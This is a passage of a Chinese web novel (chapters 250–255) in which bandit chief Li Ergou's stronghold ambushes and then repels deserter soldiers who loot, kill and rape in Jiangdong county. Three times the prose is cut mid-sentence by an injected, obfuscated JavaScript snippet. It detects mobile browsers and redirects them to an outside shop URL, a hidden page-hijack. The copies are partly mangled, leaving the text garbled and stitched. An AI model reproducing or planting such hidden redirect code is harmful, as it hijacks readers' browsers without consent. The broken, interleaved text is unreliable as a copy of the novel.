“狗哥,你也不用太过担心,现在咱们每天都是天亮之前直接把粮食送到广佛寺后门,一旦有人问起来,胡家大院完全可以说不知情。” “现在所有人都知道广佛寺的粮食是胡家大院捐的,到时候就是说不知情,也没人信啊。” “我想应该没事吧?你和王县长、孙局长关系密切,在江东县不会有人敢打胡家大院的主意。” “但愿是我杞人忧天吧。” 不久之后,一群散兵游勇溃败到江东县境内,虽然他们衣衫褴褛、形同乞丐,但手里有枪。 手里有枪,腰杆子就硬。 他们见粮食就抢,见女人就扑,一时间弄得江东人心惶惶,避之唯恐不及。 某一天清晨,他们**了刚刚送到广佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940299|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寺的粮食,并**了几名寺院僧侣。 “这群畜生!竟在佛门净地**,简直是无法无天。” 李二狗拍了桌子。 宋孬蛋问道:“狗哥,还有那么多难民等着救济,我们现在怎么办?” “孬蛋,他们驻扎在哪里?有多少人?” “驻扎在大宗山脚下,少说也有两三百人。” 两三百人,已经远远超出清风寨的打击能力,这些人都是上过战场杀过人的兵痞,清风寨大多数兄弟连血都没见过,更别提**了。 “我去趟县城,你再安排人给广佛寺送一车粮食过去。” 李二狗来到县城,直接去了警察局。 “兄弟,你怎么来了?” 李二狗没有客套,开门见山地问道,“大哥,咱们县里来了一群溃兵,你听说了吧?” 孙竹刚眉头紧锁。 “听说了,”他指了指沙发,“坐下说。” “大哥,这群兵痞在县里为非作歹,你们警察局难道就不管吗?” “管?我的傻兄弟,他们没打进县城咱们就烧高香了。目前几个大帅为了争抢地盘打成了一锅粥,以后江东县归谁管都不知道,县保安团在外打仗,就凭我们警察局这两百来人,能管得了吗?” “今天早上,那伙溃兵**了广佛寺的粮食,还**了几个僧侣,实在是可恶至极。” “兄弟,提到广佛寺,我想起来一件事,听说广佛寺的粮食都是你们胡家大院捐的?” “大哥,这种传言你也相信?我们胡家大院就是有座粮山也不够这样嚯嚯的。” 孙竹刚低声说道:“兄弟,我得提醒你,不管这是不是传言,但是王县长好像信了。” “王县长愿意相信,我也没有办法,我们胡家大院现在是真的没有粮食了。” “兄弟,你有所不知,汤司令刚刚又下了征粮命令,王县长正在想办法征粮,你想,他能不找你吗?” 李二狗本来还想去找王正直汇报溃兵的事情,想了想王正直贪婪的眼神,只能作罢。 第250章 老总,她们还是孩子啊 李二狗回到胡家大院时,天色已经黯淡下来。 “狗哥。” 李二狗刚下马,宋孬蛋就从旁边一个胡同里钻了出来。 宋孬蛋这时候突然出现,很明显,一定是发生了大事。 “孬蛋,出什么事了?” “下午我安排人给广佛寺送粮食,在路上又被那群溃兵给抢了,还打死咱们两个送粮的兄弟。” “**,这群**兵痞,欺人太甚!” 李二狗气得双眼通红,胸口剧烈地起伏着。 “狗哥,你先别生气。这群溃兵好像已经知道粮食是从咱们山寨送下来的,特意在半路上设了伏,以后咱们再想往山下送粮食就难了。” 李二狗神色严峻,他一时半会儿还真不知道拿这群兵痞怎么办。 “狗哥,还有一件事,我说出来怕你更生气。” “说,有什么事还能比这更气人?” “昨天有一户人家结婚,十几个兵痞夜里闯进人家洞房,先把新郎杀了,然后把那个新娘给……,事后新娘也上吊**了。” 李二狗终于下定了决心。 “这群畜生,消灭他们!必须消灭他们!” “消灭他们?狗哥,他们可是有二三百人啊!” “就是**有二三千人,也坚决消灭这群兵痞!” “狗哥,让我来带队吧,你坐镇指挥。” 宋孬蛋主动请缨的态度令李二狗感动的同时也很欣慰。 “孬蛋,我知道你什么意思,但对付这群兵痞,我们不能硬来。” 宋孬蛋一直担心李二狗被气昏了头脑,没想到他头脑还是如此清醒。 “狗哥,你有主意了?” “目前还没有,不过我们可以先给他们来个下马威,让他们以后出来行凶的时候有所顾忌。” 李二狗附耳对宋孬蛋一番交代,宋孬蛋频频点头。 为了万无一失,宋孬蛋亲自带了两个人潜伏在溃兵驻扎的大宗山附近。 午夜时分,果然有一队溃兵出了营地,向清风寨方向奔去。 宋孬蛋悄悄跟了上去。 这群兵痞再次埋伏在清风寨到广佛寺的必经之路上,只不过这次换了一个地点。 宋孬蛋留下一个人继续观察,自己回到李二狗藏身的地方。 “狗哥,和你预料的一样,他们出来了。” “出来多少人?” “一共十一个人,现在正埋伏在十八里小庙东边的那片树林里。” “老三,你带十名兄弟埋伏在瞎子河旁边的那座山神庙里,石头,你带十名兄弟埋伏在庙前那片树林里。” “放心吧,狗哥。” 陈老三和张石头各自带了十名兄弟前往各自的埋伏地点。 “秀才,这次能不能成就看你的了。” “狗哥,你就瞧好吧。” 秀才年龄比李二狗大不少,但他还是愿意和别人一样叫李二狗狗哥,这既是一种尊重,也表示自己对李二狗心悦诚服。 天刚蒙蒙亮,清风寨送粮的队伍就下了山。 他们很快到达十八里小庙,兵痞刚从树林里窜出来,送粮的人就扔下粮车落荒而逃。 一个瘦得像麻杆一样的兵痞对着自己一双冻得红肿的双手哈了几口热气,说道:“连长,这群土匪都**是鼠胆,依我看呐,咱们干脆直接攻下清风寨,免得兄弟们晚上在这里挨冻。” 连长是个刀疤脸,一脸凶相。 “麻杆,你**懂个屁!清风寨地势险要,易守难攻,咱们即使最后能攻下来,得伤亡多少兄弟?咱们团现在就剩下这二三百人了,团长就是担心队伍打没了,才带着大家来这里躲一阵子,你想他能同意吗?” “我这不是怕冻着连长您嘛,嘿嘿。” “少**拍老子马屁!你行你来当这个连长。” “嘿嘿,连长您就别笑话我了,我哪当得了连长啊?我永远是您手下的一个兵,您指哪我打哪!” 刀疤脸指着麻杆骂道:“你小子就长了一张甜嘴,遇到危险,最先叛变的就是你这种人。” 麻杆连连摆手道:“嘿嘿,不会不会,我对连长您绝对是忠心耿耿。” 刀疤脸冻得直跺脚,骂道:“少**废话,赶紧让弟兄们把粮食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945921|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运回去。” 麻杆连连答应着,吆喝着大家去推车。 他们推着粮车走到瞎子河旁边的山神庙时,迎面走来三个人,一个中年男子带着两个年轻貌美的女人。 “连长,您快看,那两个小妞可真俊儿。” 刀疤脸早就看到了,他一把打落麻杆抬起的手。 “别把她们吓跑了,告诉兄弟们,待会不要着急,一个一个来。” “嘿嘿,连长您就放心吧,您不来,我们谁敢来啊,嘿嘿。” 中年男子看到一群穿着破烂、面目猥琐的官兵,吓得拉着两个女儿加快了前进的脚步。 “站住!干什么的?”麻杆伸手拦住父女三人的去路。 中年男子点头哈腰地说道:“老总,我们回家。” “回家?这么早回什么家?昨晚去哪了?” “我们刚从县城回来,走亲戚去了。” “走亲戚?一看你们就不是什么好人!说,你们是不是山里的土匪?” “老总,老总,您可别吓我们啊,我们怎么可能是土匪呢?再说,哪有女人当土匪的,您说是不是?” 麻杆狞笑着走向两个年轻的姑娘,眼睛直勾勾盯着她俩的前胸后臀。 “这是你女儿?” 两个姑娘吓得急忙躲在中年男子身后。 “爹,我好怕啊。” 娇滴滴的声音令人酥麻。 “老总,她们真是我女儿,我们不是土匪。” “看你长得那副歪瓜裂枣的模样,能生出这么水灵的女儿?当爷爷是傻子吗?” “老总,她们真是我女儿啊,这怎么还能骗人呢?” “是不是你女儿,我们试试就知道了,哈哈。” “爹爹,我好怕!” 兵痞们听到女人这种嗲里嗲气的声音,全身的鸡皮疙瘩都起来了。 “老总,她们真的是我女儿,求求你们高抬贵手,放我们过去吧。” “你可以过去,这两个女人得留下,我们得带回去好好调查调查她们到底是不是土匪。” “老总,她们还是孩子啊,求求你们放了我们吧。” 第251章 溃兵攻打清风寨 麻杆一脚把中年男子踢翻在地。 “**,真是不识抬举,信不信老子一枪崩了你?” 麻杆举枪瞄准了中年男人。 “爹爹……求求你们不要杀我爹爹!” 女人哭得梨花带雨,胸口一抖一抖的,把兵痞们看得一愣一愣的! 刀疤脸伸手把麻杆扒拉到自己身后,脸上堆满了猥琐的笑容。 “姑娘,你们不要怕,我们都是好人,只要你们乖乖听话,我们是绝对不会伤害你爹爹的。” “老总,我们听话,求求你别伤害我爹爹好吗?” “当然可以啊,我向你保证,我们绝对不会伤害你爹爹,但是你得怎么感谢我啊?” “只要你不伤害我爹爹,我们都听老总的。” 刀疤脸开心极了,脸上的横肉都跳动起来,没想到这么容易就得手了。 他伸出手摸向一个女人的脸颊,女人往后一闪,躲过了。 “老总,这里人来人往,人家会不好意思的,不如我们去庙里吧。” 女人说完便羞涩地低下了头。 刀疤脸两眼放光,连声说道:“好,好,一切都听你的。” 中年男人哭得一把鼻涕一把泪。 “老总,你们不能这样啊!她们还是个孩子啊。” “爹爹,您养育了我们姐妹这么多年,如今我们只能这样报答您的养育之恩了。” 说完两人就手拉着手向山神庙走去。 刀疤脸看呆了,他简直不敢相信自己的眼睛。 “连长,还等什么?咱们快进去吧。” “留下两个兄弟看守粮食,其他人跟我去山神庙,排好队一个一个来。” “嘿嘿,谢谢连长。” 刀疤脸兴奋地搓着手跑向山神庙,两个年轻的士兵被留下看守粮食,其他人纷纷跟着刀疤脸跑进山神庙。 “老总,人家好怕啊。” 刀疤脸满面红光,说话的声音都有些颤抖。 “妹子放心,我们都是怜香惜玉之人。” “老总,你好坏哦。” 说着她用手指轻轻戳了一下刀疤脸的胸口,刀疤脸的呼吸都变得急促起来。 “你们在门口老实排队,都不许说话。” 刀疤脸搂着女人进入大殿,“砰”的一声关上有些破旧的房门。 其他人见状把枪都放在院子里,纷纷解下腰带搭在肩膀上,排队在门口等待…… 里面突然变得静悄悄的,一点动静都没有。 “哈哈,连长肯定是乐屁了,怎么一点动静都没有。” “嘿嘿,待会我进去,肯定掀翻屋顶。” “你他娘就会扯犊子,上次咱俩去妓院,你**刚脱裤子就出来了,以为我不知道啊?” 众人发出一阵哄笑。 “你他娘少造谣,老子要是脱了裤子就不行,你娘怎么生的你?” “你**再胡咧咧,老子撕烂你的嘴。” 两个人要不是提着裤子,肯定已经打了起来。 “都**别吵了,里面怎么一点动静都没有?不会出什么事吧?” “连长,连长……” 里面依然没有动静。 “不好!” 麻杆一脚踹开门,看到连长光着膀子坐在正中央的椅子上,胸口插着一把尖刀,脚下是一滩猩红的血渍。 “连长!” 众人开始手忙脚乱地系上腰带,回头准备到院里去拿枪。 “都不许动!” 屋里屋外同时窜出几个**的人,领头的人正是陈老三。 麻杆吓得一声尖叫,“扑通”一声跪在地上求饶。 “好汉,好汉,咱们远日无仇,近日无冤,我们只是路过此地,如有打扰,还请原谅我们。” “你们这群畜生!我能原谅你们,被你们杀害的兄弟怎么原谅你们?被你们**的妇女怎么原谅你们?” 麻杆被怼得哑口无言! 见求饶不行,他立马换了一副嘴脸,威胁道:“我们团就驻扎在大宗山脚下,我奉劝你们还是不要得罪我们,否则……” “否则你奶奶个腿,一个不留,全部宰了!” 一屋子兵痞全部被抹了脖子。 “三哥,这些尸体怎么办?” “狗哥不让动,等着让他们团长来看,我们撤!” 外边留下看守的两个兵痞早被张石头带人宰了。 陈老三打趣道:“秀才,你他娘扮演的窝囊废太像了,哈哈。” “嘿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945922|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿,还是咱们娘子军的两位女英雄扮演的像,那娇滴滴的声音,哪个男人顶得住啊,哈哈。” 陈老三安排几个人把粮食送到广佛寺,其他人唱着歌回到山寨。 团长段正德看到刀疤脸等人的死状时,彻底被清风寨激怒了。 李二狗就是要激怒段正德,他们不攻山,李二狗就没有办法彻底消灭他们。 但李二狗还是远远低估了野战部队的实力,他们虽然是一股溃兵,但都是从刀山血海里摸爬滚打并存活下来的军人。 江东县保安团、警察局的战斗力和他们根本无法相提并论。 段正德没有带领队伍直接攻山,而是在山下架起两门山炮,对着清风寨就是一顿狂轰乱炸。 李二狗看不起他们这股溃兵的同时,段正德也同样瞧不起这群土匪,他以为随便打几炮,这群土匪就会溃逃。 毕竟是一群溃兵,炮弹有限,打了几炮之后,段正德见清风寨还不投降,就指挥手下的人开始攻山。 李二狗为了减少伤亡,只是在进山的路上提前埋设了**,并没有派出伏兵伏击。 最前面的两个溃兵踩响**之后,后面的工兵竟排起了**。 李二狗在望远镜里看到一颗一颗的**被他们从地下挖出来时,惊得望远镜差点掉在地上。 宋孬蛋也被惊得不轻,急忙问道:“狗哥,怎么办?” “孬蛋,你去打几炮,狠狠地打,不要节省炮弹。” “好嘞,狗哥,你就擎好吧,我都被憋疯了!” 宋孬蛋指挥着炮手,瞄准正在排雷的工兵就是一阵狂轰乱炸。 工兵们虽然停止了排雷,但这一顿狂轰乱炸,路上埋设的**也被炮弹炸没了。 “孬蛋,你他娘别打了,你这是在帮着他们排雷!” 清风寨这群人,平时每个人都觉得自己打仗很厉害,这次真打起来,才知道自己啥都不懂! 李二狗从望远镜里看到段正德正指挥着人往山上冲。 “孬蛋,给我接着轰,把那一片给我轰平,我就不信炸不死他们。” 一发一发炮弹接连不断地打了出去。 不得不说,宋孬蛋**还挺准! 第252章 清风寨危在旦夕 硝烟弥漫中,李二狗看到这群溃兵竟然纷纷躲在弹坑里,后面的炮弹再也打不进上一个弹坑里。 “孬蛋,别他娘打了,你看看你打的什么玩意?” 宋孬蛋接过望远镜,看到躲避在弹坑里的溃兵。 宋孬蛋一拍脑门,惊呼道:“哎呀,狗哥,我忘记了!教官当初教我**的时候说过,一门炮打出的两颗炮弹落在同一个弹坑里的几率不到万分之一,这些人都是兵油子,作战经验太丰富了!” 李二狗这才意识到,他们遇到硬茬子了! 一招不慎,清风寨很可能就葬送在这群溃兵手里了。 “好了,先别打了,我们赶紧去寨门,老子就是崩掉门牙也不能让他们攻进来。” 两人赶到寨门口时,两边已经交上了火。 陈老三、陈嘎子和张石头每人抱着一挺机关枪正打得有劲。 李二狗站上门楼子,放眼望去,那群溃兵全部躲在石头、树干后面,冷不丁地露头放一枪,他们只大声呐喊却并不冲锋,明显是在侦查清风寨的火力配置。 “好了,都别打了,火力全**暴露了。” “山上的人听着,我们团长有话要说。” 段正德躲在一块大石头后面,大声喊道:“鄙人是国民**军第五十八师一零五团团长段正德,让你们大当家的出来说话。” 张清明拿着一把中正**凑过来。 “狗哥,待会只要他一露头,我就能一**了他。” “有把握吗?这距离少说也得有三四百米。” 张清明又眯着眼睛测量了一下,很有信心地说道:“保证没问题。” 李二狗大声回应道:“原来是段团长啊,久闻您的大名,您不在战场上建功立业,不知道今日为何要对我一个小小的清风寨大动干戈啊?” “这话就要问你们了,为何要在山神庙杀害我那么多的兄弟?他们可都是跟了我多年的好兄弟,我段某人一定要为他们讨回一个公道!” “段团长可能是误会了,我们清风寨绝对不会滥杀无辜。” “怎么?敢做却不敢承认吗?难道清风寨的人都是缩头乌龟吗?哈哈!” 见段正德始终不肯露头,李二狗情急之下便从门楼子上站了起来。 宋孬蛋见状,赶紧伸手去拉李二狗。 “狗哥,快蹲下,危险!” 李二狗仿佛没听见宋孬蛋的话一般,他低声对旁边的张清明说道:“清明,一旦出现机会,一定要把握住。” “放心吧,狗哥。” “段团长,我们清风寨做事一向光明磊落,我想咱们之间肯定是有什么误会,不如我们见面谈一谈,你看怎么样?” “好啊,既然大当家的这么有诚意,那就请下山来谈吧。” “段团长,都已经到了我们清风寨门前,不如请你移步寨中,咱们坐下来慢慢谈,你看怎么样?” “哈哈,不是我段正德胆小怕事,本团长打了这么多年仗,之所以毫发无伤就是因为从不轻易相信任何人。” “狗哥,小心!” 张清明一把拉倒李二狗,一颗**从李二狗耳边呼啸而过。 “对面有狙击手!” “什么手?” “狙击手,就是暗中埋伏,伺机袭击对手,从事精度射击的**。” 看李二狗没明白,张清明继续解释道:“就是咱们平常说的神**。” 陈老三骂道:“娘的,你直接说神**不就完了吗?这整出这么多花花绕来。” 李二狗大声喊道:“没想到堂堂正规军的段团长竟然让手下的人躲在暗处打黑枪,哈哈,真是让我大开眼界啊。” “哈哈,咱们彼此彼此,你难道就没有这个心思吗?” “这么说,就是没得谈了?” “想和老子谈?得看你手里的家伙硬不硬,给我冲!” 段正德一声令下,他手下那群兵痞一边射击一边冲了出来。 其动作之快,射术之精,远超李二狗的想象。 “给我狠狠地打!” 好在清风寨手里的家伙硬,机关枪、**、**对着寨门外就是一顿招呼,冲在最前面的士兵纷纷倒地。 “团长,这群土匪火力太强了,我们这样硬冲不是办法啊,我看我们还是先撤吧。” “一群乌合之众罢了,告诉弟兄们,把迫击 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正当大家还在惊呼之时,又听到“咔嚓”一声拉**的声音。 “砰!” “轰!轰!轰!” 张清明竟然一枪打在一发迫击炮的炮弹上,顿时引爆了旁边的两箱炮弹,迫击炮和操作手全部被炸上了天。 “团长,我们快撤吧,不然就全折在这了。” 段正德一个团,现在只剩下二三百人,这是他东山再起的本钱,绝对不能全部折在这里。 “撤!” 看到段正德撤退,大家站在门楼子上开始欢呼。 李二狗冲着张清明竖了一个大拇指,夸道:“清明,你小子今天立了大功,我要重重赏你!” “嘿嘿,狗哥,这都是我应该做的,我不要奖赏。” “真的不要?你可别后悔啊!” 看李二狗的神情,张清明知道不是一般的奖赏。 “嘿嘿,狗哥,是什么奖赏啊?” “我特批你可以谈对象!” 第253章 李二狗深刻反思 段正德带领着残兵败将撤退之后,清风寨已是一片狼藉。 寨门被炸毁,门楼子的墙体被炸塌两处,山寨内部的几处房屋也被炮火击中燃起了大火。 在战斗中有三名兄弟不幸身亡,另外还有七八名兄弟不同程度的受伤。 自李二狗入主清风寨以来,从来没有吃过这么大的亏。 看着被白布蒙面死去的兄弟们,李二狗泪流满面、心如刀割。 他独自一人来到后山悬崖,目光呆滞地看向远方。 “狗哥,你也不要自责,打仗嘛,伤亡总是难免的。” 宋孬蛋不知道什么时候出现在李二狗身后。 李二狗招招手,让宋孬蛋坐在自己身旁。 “孬蛋,自从咱们接手清风寨以来,咱们都太自信了,总有一种老子天下第一的感觉,现在想想这哪里是什么自信?这是无知!是愚昧!是自以为是!” “狗哥,你别这么说!他们虽然是一群溃兵,但是都上过战场、杀过人,咱们这些兄弟在他们面前还是太稚嫩了,不是你指挥的问题。” “孬蛋,你也不要安慰我。现在想想咱们以前的那些训练方式,简直就是一群孩子在过家家,没能及时发现并改正这些问题,这都是我的责任。” 对于李二狗的话,宋孬蛋感同身受。 陈老三、陈嘎子、张石头包括自己,小时候没有读过几天书,更没有读过兵法、上过军校。 他们只是会一些粗浅的拳脚功夫,后来又学会了打枪放炮,对于战略战术、排兵布阵一窍不通,更别说带兵打仗了。 自己都不懂,又怎么能训练出会打仗的弟兄! “狗哥,这是咱们大家的问题,不是你一个人的问题,你千万不要自责。” “这次能暂时击退他们完全得益于咱们清风寨险要的地形和装备精良的武器,但这绝非长久之计,我有一个想法,不知道大家会不会同意。” “狗哥,什么想法?我支持你。” “我想在山寨选两个人送到军校去学习深造,你觉得怎么样?” “好啊,这个主意好,咱们这次就是吃了没文化不会打仗的亏。” “你觉得选谁合适?” 宋孬蛋想了想,说道:“狗哥,你看我怎么样?” 李二狗笑道:“孬蛋,说实话,在咱们这几个兄弟当中,我最欣赏的就是你,能力最强的也是你,我是真舍不得你离开,但为了咱们山寨的未来,你必须出去学习。” 宋孬蛋有一种士为知己者死的感觉。 “狗哥,你这么信任我,我都不知道该说什么了,反正我这条命是你的,你就看我以后的表现吧。” 李二狗知道,想上军校并没有那么容易,军校是培养军事人才的地方,毕业之后是要进入军队带兵打仗的。 “孬蛋,等从军校毕业你就是军官了,到时候恐怕咱们这个小小的山寨就留不住你这条大鲤鱼了。” 宋孬蛋急忙解释道:“狗哥,你这是说的什么话?我宋孬蛋是什么样的人你还不知道吗?就是给我个团长我也不干,我还要回到清风寨跟着你干。” 古话说,好男不当兵,好铁不打钉,生逢乱世,当兵确实不是一个好的出路,但总比当一辈子土匪强。 “孬蛋,咱们当初落草为寇是为了活命,也是身不由己,如果你有了好的去处,哥哥不仅不会怪你,还会为你高兴,因为咱们是兄弟。” 宋孬蛋被李二狗感动的热泪横流,这哪是大哥,这是亲爹啊。 “狗哥,你什么都别说了,我宋孬蛋这辈子跟定你了。” “计划赶不上变化,以后怎么样咱们都不能确定,现在唯一能做的就是做好当下,等过段时间我亲自去省城找找吴爷,这事还得请他老人家帮忙,你和清明一起去,这小子我看是个难得的人才。” “好,一切都听你的,不过,狗哥,眼下还有一件要紧事,我想这群溃兵肯定不会善罢甘休,我们得想一个万全的办法彻底消灭他们才行。” “嗯,你说得对,不彻底消灭他们,咱们肯定难以安生。”李二狗想了想,“孬蛋,你先去安排兄弟们抓紧把毁坏的寨门和院墙修复好,晚上我们在议事厅一起想想办法。” 宋孬蛋领命而去,李二狗继续坐在后山悬崖想办法。 一直到天黑,李二狗才下了山。 宋孬蛋等人已经在议事厅等候。 “咱们这次彻底和那群溃兵结下了梁子,大家都说说吧,接下来我们怎么办?” 陈老三抢先说道:“狗哥,没说的,坚决消灭他们!” “对!不是他死就是我亡!” “干就完了!” 李二狗无奈地叹了口气,他用手指敲了敲桌面。 “大家注意,咱们现在不是讨论要不要消灭他们的问题,是讨论如何消灭他们的办法,大家不要脱离了主题。” 一提到办法,所有人都沉默了。 李二狗本来就很郁闷,看大家又都低着头不说话,直接说道:“大家都散了吧,老三和孬蛋留一下。” 最近一段时间,李二狗有事总是找宋孬蛋商量,陈老三有种被抛弃的感觉,听到李二狗让他也留下,脸上的笑意挡都挡不住。 “老三,你他娘吃蜜蜂屎了,有什么好笑的?” 陈老三赶紧忍住笑,不敢出声。 “今天我们打退了那股溃兵的进攻,他们短时间内可能不会再来,但我们千万不能大意,寨门还没有修好,更加不能大意。” 陈老三急忙解释道:“狗哥,寨门和院墙损毁比较严重,我已让兄弟们连夜修复,明天应该就能修好。” “老三,你不要做甩手掌柜,一定要亲自盯着。” “放心吧,狗哥,我一会就去现场盯着。” “孬蛋,晚上一定要加强警戒,把前沿警戒哨放到山下,还要多派几组,叮嘱他们一定不能大意,我担心那伙人会趁夜摸上山。” “我明白了,狗哥。不过我觉得那群溃兵晚上肯定不敢上来,他们对这里人生地不熟,要是夜里敢来那就是送死!” 第254章 溃兵来到胡家大院 李二狗最担心的就是麻痹大意,他再次嘱咐道:“还是小心点为好,那个段团长毕竟是指挥过一个团的人,我们千万不能小觑。” “放心吧,狗哥,我这就去安排。” “好,那我就回去了,明天一早我得去趟县里。” “那我派几个人送你吧?” “不用,人多反而不安全。” 李二狗独自一人骑马下了山。 经过瞎子河时,突然路上拉起一根缰绳,李二狗连人带马摔倒在地。 还未等他反应过来,几条枪已经对准了他。 “不许动!” 李二狗感觉五脏六腑都被摔了出来。 他抬头一看,几个穿着破烂军服的士兵举枪对准了他,李二狗倒吸一口凉气,真是冤家路窄,竟在这里碰上了。 “老总,你们……你们这是做什么?” “做什么?我倒要问问你深更半夜的做什么?一看就不是什么好东西,快说,你是不是清风寨的土匪?” “土匪?哎吆,各位老总您可别吓唬我,我最怕的就是土匪,我怎么会是土匪呢?” 一个军官模样的人走上前,借着月光审视了李二狗一番。 “你不是土匪?那你深更半夜地跑到这里来做什么?” “老总,不瞒您说,我是胡家大院的管家,刚从县城办完事回来。” “你是胡家大院的管家?谁能给你证明?” “老总,我自己给自己证明我是胡家大院管家您看行不行?” “你他娘的忽悠老子呢?信不信我一枪崩了你?” 李二狗装作非常害怕的样子。 “老总,别开枪,您看这里除了你们又没有别人,除了我自己之外,确实没人能给我证明。” 一个士兵凑近这个军官,低声说道:“营长,我听说这胡家大院是仙人洞镇的大户人家,离这里也不远,要不然咱们走一趟?弟兄们都好几天没见荤腥了。” 营长立马明白了这名士兵的意思。 “你说你是胡家大院的管家,我们认为你是清风寨的土匪,你让我们很为难啊,要不这样吧,我们辛苦辛苦,跟你去趟胡家大院。” 李二狗心想,这群兵痞肯定是想去胡家大院打秋风,损失点金钱倒没什么,他最担心的是胡家大院的女人,这都是一群没有人性的东西。 但如果拒绝,他们就会把自己当成清风寨的土匪当场枪毙! “怎么?心虚了?不敢让我们去核实吗?我看你就是清风寨的土匪!” 一个士兵用枪口顶在李二狗的胸口,“咔嚓”一声拉动了一下枪栓。 “不是,不是,我不是这个意思,老总们如果不嫌辛苦,我欢迎各位老总到我们胡家大院作客。” “那你就在前面带路吧。” 一路上,李二狗心中想好了几个紧急预案,甚至做好了和他们同归于尽的打算,他将誓死保护胡家大院女人的清白。 很快就到了仙人洞镇,胡家大院角楼上的人远远看到一群衣衫褴褛的士兵押着李二狗,赶紧去向张二驴汇报。 张二驴站在角楼上,拿出望远镜,果然看到李二狗,还有他身后跟着的七八个士兵。 李二狗远远地看到角楼上有一个人正拿着望远镜看向自己,料定是张二驴。 他双眼凝视着张二驴的方向,嘴唇说出“女人”两个字的口型。 张二驴的娘是聋哑人,他从小就会看口型。 “女人……” 他嘴里反复念叨着这两个字,李二狗说女人是什么意思? 张二驴再次拿起望远镜,李二狗的唇形还是“女人”两个字。 张二驴突然明白了。 “快去向大奶奶和二奶奶报告,让她们待在自己院子里,千万不要出来。” 安排完这些,张二驴又对角楼上的人说道:“把子弹上膛,一会听我指挥。” 张二驴从角楼上下来,又特意嘱咐了几个家丁见机行事。 在李二狗的带领下,众人走到胡家大院门口。 这名营长是一名久经战场的老兵,他早已注意到两侧角楼里的机枪。 “李管家,您回来了。” 张二驴亲自开门出来迎接。 “二驴,快去吩咐厨房准备酒菜,我要好好招待这几位老总。” 营长回头吩咐道:“你们两个留在这里。” “是!” 李二狗忙说道:“老总,到了胡家大院您就放心吧,土匪不敢来。” “李管家,小心驶得万年船,还是小心为好。” 李二狗便不好再坚持。 “老总,里面请。” 进入院子,营长一边走一边观察着院里的情况,看到家丁们一个个拿着枪,神情严峻,心想,这个胡家大院还真不是一般的地主大院,要是动起手来,他们还真不是对手。 “老总,请坐,饭菜很快就做好,您先喝点茶等一会。” “李管家,看你们胡家大院很气派啊,看家护院的家丁也不少,还有机枪,在江东得算数一数二的大院了吧?” “哪里哪里,这都是我们老爷祖辈传下来的院子,这几年闹饥荒,日子也是不好过。” “呵呵,你们老爷呢?怎么不见他出来啊?” “老总莫怪,我们老爷生病了,在省城医院住院呢。” “那现在这个大院就李管家你说了算?” “老总说笑了,我只不过是一个管家罢了,哪能做主子的主!” “我们也是初到江东,有什么得罪你的地方,还请李管家见谅。” “不敢不敢,老总肯赏光到我们胡家大院,是我们胡家大院的莫大光荣。” “哎,人穷志短,马瘦毛长,如今我们落了难,什么礼义廉耻、仁义道德也就都顾不得了。” 李二狗明显听出了威胁之意。 “老总是带兵之人,走南闯北的肯定见多识广,我们如果有做得不对的地方,请老总指出来,我们一定改正。” “哈哈,李管家,你是个痛快人,很对我的胃口。” “老总过奖了,我从小就崇拜军人,见到您就像见到了偶像一般。” “哈哈,李管家是个聪明人,你这个朋友我是交定了。” “老总看得起我,我荣幸之至,荣幸之至。” 第255章 十万火急之事 这时,张二驴走了进来。 “李管家,饭菜都准备好了。” “老总,请,咱们边吃边聊。” 来到厢房,里面摆了满满一桌子的鸡鱼肉蛋。 “老总,让弟兄们一起来吃吧?” “好,今天就不讲究那些俗套了,大家都一起来吧。” 李二狗吩咐道:“二驴,去给门口的两个兄弟送两只烧鸡和一壶酒,一定要照顾好。” 李二狗故意把“照顾”二字说得很重,张二驴立刻心领神会。 这群溃兵是真饿了,风卷残云般把一桌子菜吃了个底儿掉。 一个士兵眼珠子滴溜溜盯着端菜的小丫鬟,忍不住伸手摸了一把她的屁股,吓得丫鬟尖叫着跑了出去。 营长一巴掌扇在那个士兵脸上。 “娘的,少给老子丢人,小心我骟了你!” “营长,咱们可有日子没见荤腥了,何不……” 李二狗沉默着没有说话,他心中早已做好准备,如果他们敢动胡家大院的女人,只能拼个鱼死网破。 “没见识的东西,这一桌子肉还不够你吃的?少他娘给老子惹事,不想吃给老子滚!” 这个士兵见状只能低着头啃鸡腿,不敢再说话。 李二狗知道,这是角楼上的两挺机枪起到了作用。 “老总,要不要再上点烧鸡?” 营长摆了摆手,说道:“不用了,麻烦李管家再准备几只烧鸡,我带回去给我们团长尝尝。” 李二狗说道:“老总,放心,早就安排好了,今晚有点仓促,明天我再让食堂杀两头猪,我亲自给老总送去军营。” “哈哈,李管家,你这人可交,对我熊大的脾气。” 原来这个营长叫熊大! 